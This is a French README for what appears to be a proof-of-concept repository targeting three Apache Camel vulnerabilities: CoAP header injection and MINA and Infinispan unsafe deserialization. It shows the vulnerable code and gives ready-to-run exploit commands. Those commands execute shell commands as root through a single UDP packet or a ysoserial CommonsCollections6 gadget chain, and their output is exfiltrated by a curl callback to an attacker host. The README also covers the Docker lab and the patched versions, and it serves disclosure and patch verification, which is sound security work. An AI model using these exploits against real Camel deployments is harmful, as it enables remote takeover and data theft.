
Fournit des preuves de concept fonctionnelles et une analyse détaillée pour trois vulnérabilités critiques d'Apache Camel, notamment l'injection d'en-têtes CoAP et la désérialisation non sécurisée menant à l'exécution de code à distance.
| CVE | Composant | Type | CVSS | Verdict |
|---|
| CVE-2026-33453 | camel-coap | Injection d'en-tête → RCE | 10.0 Critique | Exploitable |
| CVE-2026-40473 | camel-mina | Désérialisation non sécurisée → RCE | 9.8 Critique | Exploitable |
| CVE-2026-40858 | camel-infinispan | Désérialisation non sécurisée | 8.8 Élevé | Exploitable |
Composant : camel-coap — CamelCoapResource.java:103-109
CWE : CWE-915 (Modification incorrectement contrôlée des attributs d'objets)
Corrigé dans : Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() mappe directement les paramètres de requête URI CoAP dans les en-têtes Camel Exchange via setHeader() sans HeaderFilterStrategy. CoAPEndpoint étend DefaultEndpoint au lieu de DefaultHeaderFilterStrategyEndpoint, de sorte que les en-têtes internes préfixés Camel* peuvent être injectés par n'importe quel client non authentifié.
Lorsque la route transmet à camel-exec, les en-têtes CamelExecCommandExecutable et CamelExecCommandArgs contrôlés par l'attaquant remplacent la commande configurée, permettant une RCE pré-authentifiée via un seul paquet UDP.
// CamelCoapResource.java:103-109 — AUCUN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Réponse : 2.05
[+] Sortie de commande : cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Sortie de commande : app bin boot dev etc home lib ...
Composant : camel-mina — MinaConverter.java:60-63
CWE : CWE-502 (Désérialisation de données non fiables)
Corrigé dans : Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) crée un java.io.ObjectInputStream brut sans ObjectInputFilter. Lorsqu'un point de terminaison MINA est configuré avec allowDefaultCodec=false, les données TCP brutes arrivent sous forme d'IoBuffer et atteignent le convertisseur de types Camel, qui appelle cette méthode — enveloppant les octets réseau contrôlés par l'attaquant dans un ObjectInputStream non filtré.
// MinaConverter.java:60-63 — AUCUN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // octets contrôlés par l'attaquant, AUCUN FILTRE
}
Chemin d'attaque : L'exploit cible un point de terminaison TCP MINA avec allowDefaultCodec=false (port 9879 dans le PoC). Cela contourne entièrement la couche de codec MINA — le ObjectSerializationCodecFactory possède sa propre liste blanche ClassNameMatcher qui bloquerait autrement les classes arbitraires. Avec le codec désactivé, les octets bruts circulent directement vers MinaConverter.toObjectInput() qui crée un ObjectInputStream standard sans aucun filtrage de classes.
Une chaîne de gadgets CommonsCollections6 (via ysoserial) permet l'exécution de commandes arbitraires en tant que root. La sortie de commande est exfiltrée via un rappel curl vers l'attaquant.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Sortie de commande :
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMÉ : CVE-2026-40473 RCE — commande exécutée via désérialisation
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Sortie de commande :
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (gadget CommonsCollections6)cd poc/
docker compose up -d --build
Attendez que le conteneur démarre, puis vérifiez :
docker logs vuln-camel-mina
Vous devriez voir :

[*] Serveur MINA vulnérable démarré
[*] Port 9877 : point de terminaison transferExchange (désérialisation Java)
[*] Port 9878 : point de terminaison codec de sérialisation d'objets
[*] Port 9879 : TCP brut (MinaConverter.toObjectInput) point de terminaison
[*] En attente de connexions...
Le port 9879 est la cible — il utilise allowDefaultCodec=false, ce qui désactive le filtre de codec MINA et permet à l'IoBuffer brut d'atteindre le MinaConverter.toObjectInput() non filtré de Camel.
Tout d'abord, vérifiez que le point de terminaison accepte et désérialise des objets Java arbitraires sans ObjectInputFilter :
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Mode sonde — confirmation de la désérialisation (sans RCE)
[*] Charge utile : HashMap (82 octets, brut — sans trame MINA)
[+] Connecté au point de terminaison MINA
[+] Charge utile envoyée
[+] Les données ont atteint readObject() sans rejet de filtre
La sonde envoie un HashMap sérialisé. Le serveur le désérialise via ObjectInputStream.readObject() sans InvalidClassException — confirmant l'absence totale de filtrage de classes.
Avec ysoserial disponible, exploitez la désérialisation non filtrée pour l'exécution de commandes arbitraires :
# Exécutez 'id' — renvoie uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Lire des fichiers
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Informations système
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
L'exploit génère une chaîne de gadgets CommonsCollections6, l'envoie sous forme d'octets bruts au port 9879 et capture la sortie de commande via un écouteur de rappel curl.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target IP/nom d'hôte cible
port Port TCP MINA (défaut : 9879)
command Commande à exécuter (défaut : id)
--ysoserial Chemin vers ysoserial.jar (détection automatique si non défini)
--callback-host Hôte que le conteneur utilise pour vous joindre (défaut : host.docker.internal)
--gadget Chaîne de gadgets ysoserial (défaut : auto — essaie CC6, CC5, CC1)
--probe Mode sonde uniquement — confirme la désérialisation sans RCE
--raw Envoyer la charge utile brute sans trame MINA de 4 octets (auto-activé pour le port 9879)
Remarque : Le --callback-host par défaut est host.docker.internal (Docker Desktop). Si vous utilisez Linux sans Docker Desktop, utilisez --callback-host 172.17.0.1 ou votre adresse IP de pont Docker.
cd poc/
docker compose down
Composant : camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE : CWE-502 (Désérialisation de données non fiables)
Corrigé dans : Camel 4.18.2 / 4.14.7 / 4.20.0
DefaultExchangeHolderUtils.deserialize(byte[]) crée un ClassLoadingAwareObjectInputStream sans ObjectInputFilter. Le DefaultExchangeHolderProtoAdapter achemine les octets du cache Infinispan directement vers cette méthode. Un attaquant disposant d'un accès en écriture au cache (port Hot Rod 11222 ou API REST) injecte une charge utile sérialisée malveillante qui est désérialisée lorsque le référentiel d'agrégation récupère la clé.
Il s'agit du même modèle de vulnérabilité que CVE-2024-22369, CVE-2024-23114 et CVE-2026-25747 — toutes des instances non corrigées de readObject() sans ObjectInputFilter dans les chemins de désérialisation de Camel.
// DefaultExchangeHolderUtils.java:46-53 — AUCUN ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // contrôlé par l'attaquant
}
}


cd poc/
docker compose up -d --build
Cela démarre :
vuln-camel-coap — point de terminaison CoAP sur le port UDP 5683 avec route camel-execvuln-camel-mina — points de terminaison TCP MINA sur les ports 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) et 9879 (TCP brut — cible d'attaque principale)infinispan — serveur Infinispan sur le port 11222vuln-camel-infinispan — référentiel d'agrégation Camel adossé à Infinispan# CVE-2026-33453 : Injection d'en-tête CoAP → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473 : Désérialisation non sécurisée MINA → RCE (voir instructions détaillées ci-dessus)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858 : Désérialisation non sécurisée Infinispan
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
Cette évaluation a été réalisée à l'aide du framework de recherche de sécurité autonome RAPTOR :
camel-coap, camel-mina, camel-infinispan)/scan) — Découverte automatisée des vulnérabilités sur les 3 composants/understand --map) — Cartographie de la surface d'attaque : points d'entrée, frontières de confiance, puits, flux de données non vérifiés/validate) — Pipeline complet de validation d'exploitabilité en 8 étapes (Étapes 0 → A → B → C → D → E → F → 1) confirmant que les 3 découvertes sont réelles, atteignables et exploitables/exploit) — Développement de PoC fonctionnels avec environnement de test basé sur Docker| CVE | Version corrigée | Modification |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → étend DefaultHeaderFilterStrategyEndpoint ; CoAPComponent → implémente HeaderFilterStrategyComponent |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | Ajout de ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") avant readObject() |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | Ajout d'une liste blanche ObjectInputFilter (même modèle) ; repli sur le filtre de sérialisation JVM si configuré |
Cette recherche est destinée aux tests de sécurité autorisés et à des fins éducatives uniquement. Tous les exploits ont été testés contre des conteneurs Docker construits localement exécutant des logiciels vulnérables. Mettez à niveau vers les versions corrigées listées ci-dessus.